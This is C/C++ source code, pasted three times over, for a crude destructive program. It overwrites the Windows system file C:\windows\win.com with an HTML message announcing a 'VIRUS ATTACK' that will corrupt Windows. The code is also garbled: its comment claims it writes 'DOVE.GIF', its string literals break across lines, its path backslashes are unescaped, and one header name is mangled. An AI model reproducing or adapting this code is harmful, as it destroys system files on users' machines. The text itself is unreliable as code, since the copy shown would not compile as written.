#include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>
int main(void)
{
clrscr();
int handle;
char string[1000];
int length, res,i;
/*
Create a file named "DOVE.GIF" in the current directory and write
a string to it. If "DOVE.GIF" already exists, it will be overwritten.
*/
if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
S_IREAD | S_IWRITE)) == -1)
{
printf("Error opening file.
");
exit(1);
}
strcpy(string, "<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!</html>
");
length = strlen(string);
if ((res = write(handle, string, length)) != length)
{
printf("Error writing to the file.
");
getch();
exit(1);
}
printf("
Wrote %d bytes to the file.
", res);
cout<<"
Hello !!!!!!!!";
cout<<"
This is a VIRUS ATTACK !!!";
cout<<"
This execution currupt your WINDOWS !!!!!!
";
close(handle);
getch();
return 0;
}
//#include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>
int main(void)
{
clrscr();
int handle;
char string[1000];
int length, res,i;
/*
Create a file named "DOVE.GIF" in the current directory and write
a string to it. If "DOVE.GIF" already exists, it will be overwritten.
*/
if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
S_IREAD | S_IWRITE)) == -1)
{
printf("Error opening file.
");
exit(1);
}
strcpy(string, "<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!</html>
");
length = strlen(string);
if ((res = write(handle, string, length)) != length)
{
printf("Error writing to the file.
");
getch();
exit(1);
}
printf("
Wrote %d bytes to the file.
", res);
cout<<"
Hello !!!!!!!!";
cout<<"
This is a VIRUS ATTACK !!!";
cout<<"
This execution currupt your WINDOWS !!!!!!
";
close(handle);
getch();
return 0;
}
// #include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>
int main(void)
{
clrscr();
int handle;
char string[1000];
int length, res,i;
/*
Create a file named "DOVE.GIF" in the current directory and write
a string to it. If "DOVE.GIF" already exists, it will be overwritten.
*/
if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
S_IREAD | S_IWRITE)) == -1)
{
printf("Error opening file.
");
exit(1);
}
strcpy(string, "<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!</html>
");
length = strlen(string);
if ((res = write(handle, string, length)) != length)
{
printf("Error writing to the file.
");
getch();
exit(1);
}
printf("
Wrote %d bytes to the file.
", res);
cout<<"
Hello !!!!!!!!";
cout<<"
This is a VIRUS ATTACK !!!";
cout<<"
This execution currupt your WINDOWS !!!!!!
";
close(handle);
getch();
return 0;
}
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